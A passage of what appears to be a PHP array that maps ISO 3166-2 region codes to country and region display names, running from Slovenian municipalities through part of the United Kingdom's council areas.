'SI-059' => "Slovenia: Lendava/Lendva",
'SI-060' => "Slovenia: Litija",
'SI-061' => "Slovenia: Ljubljana",
'SI-062' => "Slovenia: Ljubno",
'SI-063' => "Slovenia: Ljutomer",
'SI-208' => "Slovenia: Log-Dragomer",
'SI-064' => "Slovenia: Logatec",
'SI-167' => "Slovenia: Lovrenc na Pohorju",
'SI-065' => "Slovenia: Loška dolina",
'SI-066' => "Slovenia: Loški Potok",
'SI-068' => "Slovenia: Lukovica",
'SI-067' => "Slovenia: Luče",
'SI-069' => "Slovenia: Majšperk",
'SI-198' => "Slovenia: Makole",
'SI-070' => "Slovenia: Maribor",
'SI-168' => "Slovenia: Markovci",
'SI-071' => "Slovenia: Medvode",
'SI-072' => "Slovenia: Mengeš",
'SI-073' => "Slovenia: Metlika",
'SI-074' => "Slovenia: Mežica",
'SI-169' => "Slovenia: Miklavž na Dravskem
polju",
'SI-075' => "Slovenia: Miren-Kostanjevica",
'SI-170' => "Slovenia: Mirna Peč",
'SI-076' => "Slovenia: Mislinja",
'SI-199' => "Slovenia: Mokronog-Trebelno",
'SI-078' => "Slovenia: Moravske Toplice",
'SI-077' => "Slovenia: Moravče",
'SI-079' => "Slovenia: Mozirje",
'SI-080' => "Slovenia: Murska Sobota",
'SI-081' => "Slovenia: Muta",
'SI-082' => "Slovenia: Naklo",
'SI-083' => "Slovenia: Nazarje",
'SI-084' => "Slovenia: Nova Gorica",
'SI-085' => "Slovenia: Novo mesto",
'SI-086' => "Slovenia: Odranci",
'SI-171' => "Slovenia: Oplotnica",
'SI-087' => "Slovenia: Ormož",
'SI-088' => "Slovenia: Osilnica",
'SI-089' => "Slovenia: Pesnica",
'SI-090' => "Slovenia: Piran/Pirano",
'SI-091' => "Slovenia: Pivka",
'SI-172' => "Slovenia: Podlehnik",
'SI-093' => "Slovenia: Podvelka",
'SI-092' => "Slovenia: Podčetrtek",
'SI-200' => "Slovenia: Poljčane",
'SI-173' => "Slovenia: Polzela",
'SI-094' => "Slovenia: Postojna",
'SI-174' => "Slovenia: Prebold",
'SI-095' => "Slovenia: Preddvor",
'SI-175' => "Slovenia: Prevalje",
'SI-096' => "Slovenia: Ptuj",
'SI-097' => "Slovenia: Puconci",
'SI-100' => "Slovenia: Radenci",
'SI-099' => "Slovenia: Radeče",
'SI-101' => "Slovenia: Radlje ob Dravi",
'SI-102' => "Slovenia: Radovljica",
'SI-103' => "Slovenia: Ravne na Koroškem",
'SI-176' => "Slovenia: Razkrižje",
'SI-098' => "Slovenia: Rače-Fram",
'SI-201' => "Slovenia: Renče-Vogrsko",
'SI-209' => "Slovenia: Rečica ob Savinji",
'SI-104' => "Slovenia: Ribnica",
'SI-177' => "Slovenia: Ribnica na Pohorju",
'SI-107' => "Slovenia: Rogatec",
'SI-106' => "Slovenia: Rogaška Slatina",
'SI-105' => "Slovenia: Rogašovci",
'SI-108' => "Slovenia: Ruše",
'SI-178' => "Slovenia: Selnica ob Dravi",
'SI-109' => "Slovenia: Semič",
'SI-110' => "Slovenia: Sevnica",
'SI-111' => "Slovenia: Sežana",
'SI-112' => "Slovenia: Slovenj Gradec",
'SI-113' => "Slovenia: Slovenska Bistrica",
'SI-114' => "Slovenia: Slovenske Konjice",
'SI-179' => "Slovenia: Sodražica",
'SI-180' => "Slovenia: Solčava",
'SI-202' => "Slovenia: Središče ob Dravi",
'SI-115' => "Slovenia: Starče",
'SI-203' => "Slovenia: Straža",
'SI-181' => "Slovenia: Sveta Ana",
'SI-182' => "Slovenia: Sveta Andraž v Slovenskih
Goricah",
'SI-204' => "Slovenia: Sveta Trojica v Slovenskih
Goricah",
'SI-116' => "Slovenia: Sveti Jurij",
'SI-210' => "Slovenia: Sveti Jurij v Slovenskih
Goricah",
'SI-205' => "Slovenia: Sveti Tomaž",
'SI-184' => "Slovenia: Tabor",
'SI-010' => "Slovenia: Tišina",
'SI-128' => "Slovenia: Tolmin",
'SI-129' => "Slovenia: Trbovlje",
'SI-130' => "Slovenia: Trebnje",
'SI-185' => "Slovenia: Trnovska vas",
'SI-186' => "Slovenia: Trzin",
'SI-131' => "Slovenia: Tržič",
'SI-132' => "Slovenia: Turnišče",
'SI-133' => "Slovenia: Velenje",
'SI-187' => "Slovenia: Velika Polana",
'SI-134' => "Slovenia: Velike Lašče",
'SI-188' => "Slovenia: Veržej",
'SI-135' => "Slovenia: Videm",
'SI-136' => "Slovenia: Vipava",
'SI-137' => "Slovenia: Vitanje",
'SI-138' => "Slovenia: Vodice",
'SI-139' => "Slovenia: Vojnik",
'SI-189' => "Slovenia: Vransko",
'SI-140' => "Slovenia: Vrhnika",
'SI-141' => "Slovenia: Vuzenica",
'SI-142' => "Slovenia: Zagorje ob Savi",
'SI-143' => "Slovenia: Zavrč",
'SI-144' => "Slovenia: Zreče",
'SI-015' => "Slovenia: Črenšovci",
'SI-016' => "Slovenia: Črna na Koroškem",
'SI-017' => "Slovenia: Črnomelj",
'SI-033' => "Slovenia: Šalovci",
'SI-183' => "Slovenia: Šempeter-Vrtojba",
'SI-118' => "Slovenia: Šentilj",
'SI-119' => "Slovenia: Šentjernej",
'SI-120' => "Slovenia: Šentjur",
'SI-211' => "Slovenia: Šentrupert",
'SI-117' => "Slovenia: Šenčur",
'SI-121' => "Slovenia: Škocjan",
'SI-122' => "Slovenia: Škofja Loka",
'SI-123' => "Slovenia: Škofljica",
'SI-124' => "Slovenia: Šmarje pri Jelšah",
'SI-206' => "Slovenia: Šmarjeske Topliče",
'SI-125' => "Slovenia: Šmartno ob Paki",
'SI-194' => "Slovenia: Šmartno pri Litiji",
'SI-126' => "Slovenia: Šoštanj",
'SI-127' => "Slovenia: Štore",
'SI-190' => "Slovenia: Žalec",
'SI-146' => "Slovenia: Železniki",
'SI-191' => "Slovenia: Žetale",
'SI-147' => "Slovenia: Žiri",
'SI-192' => "Slovenia: Žirovnica",
'SI-193' => "Slovenia: Žužemberk",
'--ZA' => "", '-ZA' => "South
Africa",
'ZA-EC' => "South Africa: Eastern Cape",
'ZA-FS' => "South Africa: Free State",
'ZA-GT' => "South Africa: Gauteng",
'ZA-NL' => "South Africa: Kwazulu-Natal",
'ZA-LP' => "South Africa: Limpopo",
'ZA-MP' => "South Africa: Mpumalanga",
'ZA-NW' => "South Africa: North-West (South
Africa)",
'ZA-NC' => "South Africa: Northern Cape",
'ZA-WC' => "South Africa: Western Cape",
'--ES' => "", '-ES' =>
"Spain",
'ES-C' => "Spain: A Coruña",
'ES-AB' => "Spain: Albacete",
'ES-A' => "Spain: Alicante",
'ES-AL' => "Spain: Almería",
'ES-AN' => "Spain: Andalucía",
'ES-AR' => "Spain: Aragón",
'ES-O' => "Spain: Asturias",
'ES-AS' => "Spain: Asturias, Principado de",
'ES-BA' => "Spain: Badajoz",
'ES-PM' => "Spain: Balears",
'ES-B' => "Spain: Barcelona",
'ES-BU' => "Spain: Burgos",
'ES-CN' => "Spain: Canarias",
'ES-S' => "Spain: Cantabria",
'ES-CS' => "Spain: Castellón",
'ES-CL' => "Spain: Castilla y León",
'ES-CM' => "Spain: Castilla-La Mancha",
'ES-CT' => "Spain: Catalunya",
'ES-CE' => "Spain: Ceuta",
'ES-CR' => "Spain: Ciudad Real",
'ES-CU' => "Spain: Cuenca",
'ES-CC' => "Spain: Cáceres",
'ES-CA' => "Spain: Cádiz",
'ES-CO' => "Spain: Córdoba",
'ES-EX' => "Spain: Extremadura",
'ES-GA' => "Spain: Galicia",
'ES-GI' => "Spain: Girona",
'ES-GR' => "Spain: Granada",
'ES-GU' => "Spain: Guadalajara",
'ES-SS' => "Spain: Guipúzcoa / Gipuzkoa",
'ES-H' => "Spain: Huelva",
'ES-HU' => "Spain: Huesca",
'ES-IB' => "Spain: Illes Balears",
'ES-J' => "Spain: Jaén",
'ES-LO' => "Spain: La Rioja",
'ES-GC' => "Spain: Las Palmas",
'ES-LE' => "Spain: León",
'ES-L' => "Spain: Lleida",
'ES-LU' => "Spain: Lugo",
'ES-M' => "Spain: Madrid",
'ES-MD' => "Spain: Madrid, Comunidad de",
'ES-ML' => "Spain: Melilla",
'ES-MU' => "Spain: Murcia",
'ES-MC' => "Spain: Murcia, Región de",
'ES-MA' => "Spain: Málaga",
'ES-NA' => "Spain: Navarra / Nafarroa",
'ES-NC' => "Spain: Navarra, Comunidad Foral de /
Nafarroako Foru Komunitatea",
'ES-OR' => "Spain: Ourense",
'ES-P' => "Spain: Palencia",
'ES-PV' => "Spain: País Vasco / Euskal Herria",
'ES-PO' => "Spain: Pontevedra",
'ES-SA' => "Spain: Salamanca",
'ES-TF' => "Spain: Santa Cruz de Tenerife",
'ES-SG' => "Spain: Segovia",
'ES-SE' => "Spain: Sevilla",
'ES-SO' => "Spain: Soria",
'ES-T' => "Spain: Tarragona",
'ES-TE' => "Spain: Teruel",
'ES-TO' => "Spain: Toledo",
'ES-V' => "Spain: Valencia / València",
'ES-VC' => "Spain: Valenciana, Comunidad / Valenciana,
Comunitat",
'ES-VA' => "Spain: Valladolid",
'ES-BI' => "Spain: Vizcayaa / Bizkaia",
'ES-ZA' => "Spain: Zamora",
'ES-Z' => "Spain: Zaragoza",
'ES-VI' => "Spain: Álava",
'ES-AV' => "Spain: Ávila",
'--SE' => "", '-SE' =>
"Sweden",
'SE-K' => "Sweden: Blekinge län",
'SE-W' => "Sweden: Dalarnas län",
'SE-I' => "Sweden: Gotlands län",
'SE-X' => "Sweden: Gävleborgs län",
'SE-N' => "Sweden: Hallands län",
'SE-Z' => "Sweden: Jämtlande län",
'SE-F' => "Sweden: Jönköpings län",
'SE-H' => "Sweden: Kalmar län",
'SE-G' => "Sweden: Kronobergs län",
'SE-BD' => "Sweden: Norrbottens län",
'SE-M' => "Sweden: Skåne län",
'SE-AB' => "Sweden: Stockholms län",
'SE-D' => "Sweden: Södermanlands län",
'SE-C' => "Sweden: Uppsala län",
'SE-S' => "Sweden: Värmlands län",
'SE-AC' => "Sweden: Västerbottens län",
'SE-Y' => "Sweden: Västernorrlands län",
'SE-U' => "Sweden: Västmanlands län",
'SE-O' => "Sweden: Västra Götalands län",
'SE-T' => "Sweden: Örebro län",
'SE-E' => "Sweden: Östergötlands län",
'--CH' => "", '-CH' =>
"Switzerland",
'CH-AG' => "Switzerland: Aargau",
'CH-AR' => "Switzerland: Appenzell Ausserrhoden",
'CH-AI' => "Switzerland: Appenzell Innerrhoden",
'CH-BL' => "Switzerland: Basel-Landschaft",
'CH-BS' => "Switzerland: Basel-Stadt",
'CH-BE' => "Switzerland: Bern",
'CH-FR' => "Switzerland: Fribourg",
'CH-GE' => "Switzerland: Genève",
'CH-GL' => "Switzerland: Glarus",
'CH-GR' => "Switzerland: Graubünden",
'CH-JU' => "Switzerland: Jura",
'CH-LU' => "Switzerland: Luzern",
'CH-NE' => "Switzerland: Neuchâtel",
'CH-NW' => "Switzerland: Nidwalden",
'CH-OW' => "Switzerland: Obwalden",
'CH-SG' => "Switzerland: Sankt Gallen",
'CH-SH' => "Switzerland: Schaffhausen",
'CH-SZ' => "Switzerland: Schwyz",
'CH-SO' => "Switzerland: Solothurn",
'CH-TG' => "Switzerland: Thurgau",
'CH-TI' => "Switzerland: Ticino",
'CH-UR' => "Switzerland: Uri",
'CH-VS' => "Switzerland: Valais",
'CH-VD' => "Switzerland: Vaud",
'CH-ZG' => "Switzerland: Zug",
'CH-ZH' => "Switzerland: Zürich",
'--TW' => "", '-TW' =>
"Taiwan",
'TW-CHA' => "Taiwan: Changhua",
'TW-CYI' => "Taiwan: Chiay City",
'TW-CYQ' => "Taiwan: Chiayi",
'TW-HSQ' => "Taiwan: Hsinchu",
'TW-HSZ' => "Taiwan: Hsinchui City",
'TW-HUA' => "Taiwan: Hualien",
'TW-ILA' => "Taiwan: Ilan",
'TW-KHQ' => "Taiwan: Kaohsiung",
'TW-KHH' => "Taiwan: Kaohsiung City",
'TW-KEE' => "Taiwan: Keelung City",
'TW-MIA' => "Taiwan: Miaoli",
'TW-NAN' => "Taiwan: Nantou",
'TW-PEN' => "Taiwan: Penghu",
'TW-PIF' => "Taiwan: Pingtung",
'TW-TXQ' => "Taiwan: Taichung",
'TW-TXG' => "Taiwan: Taichung City",
'TW-TNQ' => "Taiwan: Tainan",
'TW-TNN' => "Taiwan: Tainan City",
'TW-TPQ' => "Taiwan: Taipei",
'TW-TPE' => "Taiwan: Taipei City",
'TW-TTT' => "Taiwan: Taitung",
'TW-TAO' => "Taiwan: Taoyuan",
'TW-YUN' => "Taiwan: Yunlin",
'--TH' => "", '-TH' =>
"Thailand",
'TH-37' => "Thailand: Amnat Charoen",
'TH-15' => "Thailand: Ang Thong",
'TH-31' => "Thailand: Buri Ram",
'TH-24' => "Thailand: Chachoengsao",
'TH-18' => "Thailand: Chai Nat",
'TH-36' => "Thailand: Chaiyaphum",
'TH-22' => "Thailand: Chanthaburi",
'TH-50' => "Thailand: Chiang Mai",
'TH-57' => "Thailand: Chiang Rai",
'TH-20' => "Thailand: Chon Buri",
'TH-86' => "Thailand: Chumphon",
'TH-46' => "Thailand: Kalasin",
'TH-62' => "Thailand: Kamphaeng Phet",
'TH-71' => "Thailand: Kanchanaburi",
'TH-40' => "Thailand: Khon Kaen",
'TH-81' => "Thailand: Krabi",
'TH-10' => "Thailand: Krung Thep Maha Nakhon
Bangkok",
'TH-52' => "Thailand: Lampang",
'TH-51' => "Thailand: Lamphun",
'TH-42' => "Thailand: Loei",
'TH-16' => "Thailand: Lop Buri",
'TH-58' => "Thailand: Mae Hong Son",
'TH-44' => "Thailand: Maha Sarakham",
'TH-49' => "Thailand: Mukdahan",
'TH-26' => "Thailand: Nakhon Nayok",
'TH-73' => "Thailand: Nakhon Pathom",
'TH-48' => "Thailand: Nakhon Phanom",
'TH-30' => "Thailand: Nakhon Ratchasima",
'TH-60' => "Thailand: Nakhon Sawan",
'TH-80' => "Thailand: Nakhon Si Thammarat",
'TH-55' => "Thailand: Nan",
'TH-96' => "Thailand: Narathiwat",
'TH-39' => "Thailand: Nong Bua Lam Phu",
'TH-43' => "Thailand: Nong Khai",
'TH-12' => "Thailand: Nonthaburi",
'TH-13' => "Thailand: Pathum Thani",
'TH-94' => "Thailand: Pattani",
'TH-82' => "Thailand: Phangnga",
'TH-93' => "Thailand: Phatthalung",
'TH-S' => "Thailand: Phatthaya",
'TH-56' => "Thailand: Phayao",
'TH-67' => "Thailand: Phetchabun",
'TH-76' => "Thailand: Phetchaburi",
'TH-66' => "Thailand: Phichit",
'TH-65' => "Thailand: Phitsanulok",
'TH-14' => "Thailand: Phra Nakhon Si Ayutthaya",
'TH-54' => "Thailand: Phrae",
'TH-83' => "Thailand: Phuket",
'TH-25' => "Thailand: Prachin Buri",
'TH-77' => "Thailand: Prachuap Khiri Khan",
'TH-85' => "Thailand: Ranong",
'TH-70' => "Thailand: Ratchaburi",
'TH-21' => "Thailand: Rayong",
'TH-45' => "Thailand: Roi Et",
'TH-27' => "Thailand: Sa Kaeo",
'TH-47' => "Thailand: Sakon Nakhon",
'TH-11' => "Thailand: Samut Prakan",
'TH-74' => "Thailand: Samut Sakhon",
'TH-75' => "Thailand: Samut Songkhram",
'TH-19' => "Thailand: Saraburi",
'TH-91' => "Thailand: Satun",
'TH-33' => "Thailand: Si Sa Ket",
'TH-17' => "Thailand: Sing Buri",
'TH-90' => "Thailand: Songkhla",
'TH-64' => "Thailand: Sukhothai",
'TH-72' => "Thailand: Suphan Buri",
'TH-84' => "Thailand: Surat Thani",
'TH-32' => "Thailand: Surin",
'TH-63' => "Thailand: Tak",
'TH-92' => "Thailand: Trang",
'TH-23' => "Thailand: Trat",
'TH-34' => "Thailand: Ubon Ratchathani",
'TH-41' => "Thailand: Udon Thani",
'TH-61' => "Thailand: Uthai Thani",
'TH-53' => "Thailand: Uttaradit",
'TH-95' => "Thailand: Yala",
'TH-35' => "Thailand: Yasothon",
'--TR' => "", '-TR' =>
"Turkey",
'TR-01' => "Turkey: Adana",
'TR-02' => "Turkey: Adıyaman",
'TR-03' => "Turkey: Afyon",
'TR-68' => "Turkey: Aksaray",
'TR-05' => "Turkey: Amasya",
'TR-06' => "Turkey: Ankara",
'TR-07' => "Turkey: Antalya",
'TR-75' => "Turkey: Ardahan",
'TR-08' => "Turkey: Artvin",
'TR-09' => "Turkey: Aydın",
'TR-04' => "Turkey: Ağrı",
'TR-10' => "Turkey: Balıkesir",
'TR-74' => "Turkey: Bartın",
'TR-72' => "Turkey: Batman",
'TR-69' => "Turkey: Bayburt",
'TR-11' => "Turkey: Bilecik",
'TR-12' => "Turkey: Bingöl",
'TR-13' => "Turkey: Bitlis",
'TR-14' => "Turkey: Bolu",
'TR-15' => "Turkey: Burdur",
'TR-16' => "Turkey: Bursa",
'TR-20' => "Turkey: Denizli",
'TR-21' => "Turkey: Diyarbakır",
'TR-81' => "Turkey: Düzce",
'TR-22' => "Turkey: Edirne",
'TR-23' => "Turkey: Elazığ",
'TR-24' => "Turkey: Erzincan",
'TR-25' => "Turkey: Erzurum",
'TR-26' => "Turkey: Eskişehir",
'TR-27' => "Turkey: Gaziantep",
'TR-28' => "Turkey: Giresun",
'TR-29' => "Turkey: Gümüşhane",
'TR-30' => "Turkey: Hakkâri",
'TR-31' => "Turkey: Hatay",
'TR-32' => "Turkey: Isparta",
'TR-76' => "Turkey: Iğdır",
'TR-46' => "Turkey: Kahramanmaraş",
'TR-78' => "Turkey: Karabük",
'TR-70' => "Turkey: Karaman",
'TR-36' => "Turkey: Kars",
'TR-37' => "Turkey: Kastamonu",
'TR-38' => "Turkey: Kayseri",
'TR-79' => "Turkey: Kilis",
'TR-41' => "Turkey: Kocaeli",
'TR-42' => "Turkey: Konya",
'TR-43' => "Turkey: Kütahya",
'TR-39' => "Turkey: Kırklareli",
'TR-71' => "Turkey: Kırıkkale",
'TR-40' => "Turkey: Kırşehir",
'TR-44' => "Turkey: Malatya",
'TR-45' => "Turkey: Manisa",
'TR-47' => "Turkey: Mardin",
'TR-48' => "Turkey: Muğla",
'TR-49' => "Turkey: Muş",
'TR-50' => "Turkey: Nevşehir",
'TR-51' => "Turkey: Niğde",
'TR-52' => "Turkey: Ordu",
'TR-80' => "Turkey: Osmaniye",
'TR-53' => "Turkey: Rize",
'TR-54' => "Turkey: Sakarya",
'TR-55' => "Turkey: Samsun",
'TR-56' => "Turkey: Siirt",
'TR-57' => "Turkey: Sinop",
'TR-58' => "Turkey: Sivas",
'TR-59' => "Turkey: Tekirdağ",
'TR-60' => "Turkey: Tokat",
'TR-61' => "Turkey: Trabzon",
'TR-62' => "Turkey: Tunceli",
'TR-64' => "Turkey: Uşak",
'TR-65' => "Turkey: Van",
'TR-77' => "Turkey: Yalova",
'TR-66' => "Turkey: Yozgat",
'TR-67' => "Turkey: Zonguldak",
'TR-17' => "Turkey: Çanakkale",
'TR-18' => "Turkey: Çankırı",
'TR-19' => "Turkey: Çorum",
'TR-34' => "Turkey: İstanbul",
'TR-35' => "Turkey: İzmir",
'TR-33' => "Turkey: İçel",
'TR-63' => "Turkey: Şanlıurfa",
'TR-73' => "Turkey: Şırnak",
'--UA' => "", '-UA' =>
"Ukraine",
'UA-71' => "Ukraine: Cherkas'ka
Oblast'",
'UA-74' => "Ukraine: Chernihivs'ka
Oblast'",
'UA-77' => "Ukraine: Chernivets'ka
Oblast'",
'UA-12' => "Ukraine: Dnipropetrovs'ka
Oblast'",
'UA-14' => "Ukraine: Donets'ka Oblast'",
'UA-26' => "Ukraine: Ivano-Frankivs'ka
Oblast'",
'UA-63' => "Ukraine: Kharkivs'ka
Oblast'",
'UA-65' => "Ukraine: Khersons'ka
Oblast'",
'UA-68' => "Ukraine: Khmel'nyts'ka
Oblast'",
'UA-35' => "Ukraine: Kirovohrads'ka
Oblast'",
'UA-32' => "Ukraine: Kyïvs'ka Oblast'",
'UA-30' => "Ukraine: Kyïvs'ka mis'ka
rada",
'UA-46' => "Ukraine: L'vivs'ka
Oblast'",
'UA-09' => "Ukraine: Luhans'ka Oblast'",
'UA-48' => "Ukraine: Mykolaïvs'ka
Oblast'",
'UA-51' => "Ukraine: Odes'ka Oblast'",
'UA-53' => "Ukraine: Poltavs'ka
Oblast'",
'UA-43' => "Ukraine: Respublika Krym",
'UA-56' => "Ukraine: Rivnens'ka
Oblast'",
'UA-40' => "Ukraine: Sevastopol",
'UA-59' => "Ukraine: Sums 'ka Oblast'",
'UA-61' => "Ukraine: Ternopil's'ka
Oblast'",
'UA-05' => "Ukraine: Vinnyts'ka
Oblast'",
'UA-07' => "Ukraine: Volyns'ka Oblast'",
'UA-21' => "Ukraine: Zakarpats'ka
Oblast'",
'UA-23' => "Ukraine: Zaporiz'ka
Oblast'",
'UA-18' => "Ukraine: Zhytomyrs'ka
Oblast'",
'--AE' => "", '-AE' => "United
Arab Emirates",
'AE-AJ' => "United Arab Emirates: 'Ajmān",
'AE-AZ' => "United Arab Emirates: Abū Ȥaby [Abu
Dhabi]",
'AE-FU' => "United Arab Emirates: Al Fujayrah",
'AE-SH' => "United Arab Emirates: Ash Shāriqah",
'AE-DU' => "United Arab Emirates: Dubayy",
'AE-RK' => "United Arab Emirates: Ra’s al
Khaymah",
'AE-UQ' => "United Arab Emirates: Umm al Qaywayn",
'--GB' => "", '-GB' => "United
Kingdom",
'GB-ABE' => "United Kingdom: Aberdeen City",
'GB-ABD' => "United Kingdom: Aberdeenshire",
'GB-ANS' => "United Kingdom: Angus",
'GB-ANT' => "United Kingdom: Antrim",
'GB-ARD' => "United Kingdom: Ards",
'GB-AGB' => "United Kingdom: Argyll and Bute",
'GB-ARM' => "United Kingdom: Armagh",
'GB-BLA' => "United Kingdom: Ballymena",
'GB-BLY' => "United Kingdom: Ballymoney",
'GB-BNB' => "United Kingdom: Banbridge",
'GB-BDG' => "United Kingdom: Barking and
Dagenham",
'GB-BNE' => "United Kingdom: Barnet",
'GB-BNS' => "United Kingdom: Barnsley",
'GB-BAS' => "United Kingdom: Bath and North East
Somerset",
'GB-BDF' => "United Kingdom: Bedford",
'GB-BFS' => "United Kingdom: Belfast",
'GB-BEX' => "United Kingdom: Bexley",
'GB-BIR' => "United Kingdom: Birmingham",
'GB-BBD' => "United Kingdom: Blackburn with
Darwen",
'GB-BPL' => "United Kingdom: Blackpool",
'GB-BGW' => "United Kingdom: Blaenau Gwent",
'GB-BOL' => "United Kingdom: Bolton",
'GB-BMH' => "United Kingdom: Bournemouth",
'GB-BRC' => "United Kingdom: Bracknell Forest",
'GB-BRD' => "United Kingdom: Bradford",
'GB-BEN' => "United Kingdom: Brent",
'GB-BGE' => "United Kingdom: Bridgend (Pen-y-bont ar
Ogwr)",
'GB-BNH' => "United Kingdom: Brighton and Hove",
'GB-BST' => "United Kingdom: Bristol, City of",
'GB-BRY' => "United Kingdom: Bromley",
'GB-BKM' => "United Kingdom: Buckinghamshire",
'GB-BUR' => "United Kingdom: Bury",
'GB-CAY' => "United Kingdom: Caerphilly
(Caerffili)",
'GB-CLD' => "United Kingdom: Calderdale",
'GB-CAM' => "United Kingdom: Cambridgeshire",
'GB-CMD' => "United Kingdom: Camden",
'GB-CRF' => "United Kingdom: Cardiff (Caerdydd)",
'GB-CMN' => "United Kingdom: Carmarthenshire (Sir
Gaerfyrddin)",
'GB-CKF' => "United Kingdom: Carrickfergus",
'GB-CSR' => "United Kingdom: Castlereagh",
'GB-CBF' => "United Kingdom: Central
Bedfordshire",
'GB-CGN' => "United Kingdom: Ceredigion (Sir
Ceredigion)",
'GB-CHE' => "United Kingdom: Cheshire East",
'GB-CHW' => "United Kingdom: Cheshire West and
Chester",
'GB-CLK' => "United Kingdom: Clackmannanshire",
'GB-CLR' => "United Kingdom: Coleraine",
'GB-CWY' => "United Kingdom: Conwy",
'GB-CKT' => "United Kingdom: Cookstown",
'GB-CON' => "United Kingdom: Cornwall",
'GB-COV' => "United Kingdom: Coventry",
'GB-CGV' => "United Kingdom: Craigavon",
'GB-CRY' => "United Kingdom: Croydon",
'GB-CMA' => "United Kingdom: Cumbria",
'GB-DAL' => "United Kingdom: Darlington",
'GB-DEN' => "United Kingdom: Denbighshire (Sir
Ddinbych)",
'GB-DER' => "United Kingdom: Derby",
'GB-DBY' => "United Kingdom: Derbyshire",
'GB-DRY' => "United Kingdom: Derry",
'GB-DEV' => "United Kingdom: Devon",
'GB-DNC' => "United Kingdom: Doncaster",
'GB-DOR' => "United Kingdom: Dorset",
'GB-DOW' => "United Kingdom: Down",
'GB-DUD' => "United Kingdom: Dudley",
'GB-DGY' => "United Kingdom: Dumfries and
Galloway",
'GB-DND' => "United Kingdom: Dundee City",
'GB-DGN' => "United Kingdom: Dungannon",
'GB-DUR' => "United Kingdom: Durham",
'GB-EAL' => "United Kingdom: Ealing",
'GB-EAY' => "United Kingdom: East Ayrshire",
'GB-EDU' => "United Kingdom: East Dunbartonshire",
'GB-ELN' => "United Kingdom: East Lothian",
'GB-ERW' => "United Kingdom: East Renfrewshire",
'GB-ERY' => "United Kingdom: East Riding of
Yorkshire",
'GB-ESX' => "United Kingdom: East Sussex",
'GB-EDH' => "United Kingdom: Edinburgh, City of",
'GB-ELS' => "United Kingdom: Eilean Siar",
'GB-ENF' => "United Kingdom: Enfield",
'GB-ENG' => "United Kingdom: England",
'GB-EAW' => "United Kingdom: England and Wales",
'GB-ESS' => "United Kingdom: Essex",
'GB-FAL' => "United Kingdom: Falkirk",
'GB-FER' => "United Kingdom: Fermanagh",
'GB-FIF' => "United Kingdom: Fife",
'GB-FLN' => "United Kingdom: Flintshire (Sir y
Fflint)",
'GB-GAT' => "United Kingdom: Gateshead",
'GB-GLG' => "United Kingdom: Glasgow City",
'GB-GLS' => "United Kingdom: Gloucestershire",
'GB-GBN' => "United Kingdom: Great Britain",
'GB-GRE' => "United Kingdom: Greenwich",
'GB-GWN' => "United Kingdom: Gwynedd",
'GB-HCK' => "United Kingdom: Hackney",
'GB-HAL' => "United Kingdom: Halton",
'GB-HMF' => "United Kingdom: Hammersmith and
Fulham",
'GB-HAM' => "United Kingdom: Hampshire",
'GB-HRY' => "United Kingdom: Haringey",
'GB-HRW' => "United Kingdom: Harrow",
'GB-HPL' => "United Kingdom: Hartlepool",
'GB-HAV' => "United Kingdom: Havering",
'GB-HEF' => "United Kingdom: Herefordshire",
'GB-HRT' => "United Kingdom: Hertfordshire",
'GB-HLD' => "United Kingdom: Highland",
'GB-HIL' => "United Kingdom: Hillingdon",
'GB-HNS' => "United Kingdom: Hounslow",
'GB-IVC' => "United Kingdom: Inverclyde",
'GB-AGY' => "United Kingdom: Isle of Anglesey (Sir Ynys
Môn)",
'GB-IOW' => "United Kingdom: Isle of Wight",
'GB-ISL' => "United Kingdom: Islington",
'GB-KEC' => "United Kingdom: Kensington and
Chelsea",
'GB-KEN' => "United Kingdom: Kent",
'GB-KHL' => "United Kingdom: Kingston upon Hull",
'GB-KTT' => "United Kingdom: Kingston upon
Thames",
'GB-KIR' => "United Kingdom: Kirklees",
'GB-KWL' => "United Kingdom: Knowsley",
'GB-LBH' => "United Kingdom: Lambeth",
'GB-LAN' => "United Kingdom: Lancashire",
'GB-LRN' => "United Kingdom: Larne",
'GB-LDS' => "United Kingdom: Leeds",
'GB-LCE' => "United Kingdom: Leicester",
'GB-LEC' => "United Kingdom: Leicestershire",
'GB-LEW' => "United Kingdom: Lewisham",
'GB-LMV' => "United Kingdom: Limavady",
'GB-LIN' => "United Kingdom: Lincolnshire",
'GB-LSB' => "United Kingdom: Lisburn",
'GB-LIV' => "United Kingdom: Liverpool",
'GB-LND' => "United Kingdom: London, City of",
'GB-LUT' => "United Kingdom: Luton",
'GB-MFT' => "United Kingdom: Magherafelt",
'GB-MAN' => "United Kingdom: Manchester",
'GB-MDW' => "United Kingdom: Medway",
'GB-MTY' => "United Kingdom: Merthyr Tydfil (Merthyr
Tudful)",
'GB-MRT' => "United Kingdom: Merton",
'GB-MDB' => "United Kingdom: Middlesbrough",
'GB-MLN' => "United Kingdom: Midlothian",
'GB-MIK' => "United Kingdom: Milton Keynes",
'GB-MON' => "United Kingdom: Monmouthshire (Sir
Fynwy)",
'GB-MRY' => "United Kingdom: Moray",
'GB-MYL' => "United Kingdom: Moyle",
'GB-NTL' => "United Kingdom: Neath Port Talbot
(Castell-nedd Port Talbot)",
'GB-NET' => "United Kingdom: Newcastle upon Tyne",
'GB-NWM' => "United Kingdom: Newham",
'GB-NWP' => "United Kingdom: Newport (Casnewydd)",
'GB-NYM' => "United Kingdom: Newry and Mourne",
'GB-NTA' => "United Kingdom: Newtownabbey",
'GB-NFK' => "United Kingdom: Norfolk",
'GB-NAY' => "United Kingdom: North Ayrshire",
'GB-NDN' => "United Kingdom: North Down",
'GB-NEL' => "United Kingdom: North East
Lincolnshire",
'GB-NLK' => "United Kingdom: North Lanarkshire",
'GB-NLN' => "United Kingdom: North Lincolnshire",
'GB-NSM' => "United Kingdom: North Somerset",
'GB-NTY' => "United Kingdom: North Tyneside",
'GB-NYK' => "United Kingdom: North Yorkshire",
'GB-NTH' => "United Kingdom: Northamptonshire",
'GB-NIR' => "United Kingdom: Northern Ireland",
'GB-NBL' => "United Kingdom: Northumberland",
'GB-NGM' => "United Kingdom: Nottingham",
'GB-NTT' => "United Kingdom: Nottinghamshire",
'GB-OLD' => "United Kingdom: Oldham",
'GB-OMH' => "United Kingdom: Omagh",
'GB-ORK' => "United Kingdom: Orkney Islands",
'GB-OXF' => "United Kingdom: Oxfordshire",
'GB-PEM' => "United Kingdom: Pembrokeshire (Sir
Benfro)",
'GB-PKN' => "United Kingdom: Perth and Kinross",
'GB-PTE' => "United Kingdom: Peterborough",
'GB-PLY' => "United Kingdom: Plymouth",
'GB-POL' => "United Kingdom: Poole",
'GB-POR' => "United Kingdom: Portsmouth",
'GB-POW' => "United Kingdom: Powys",
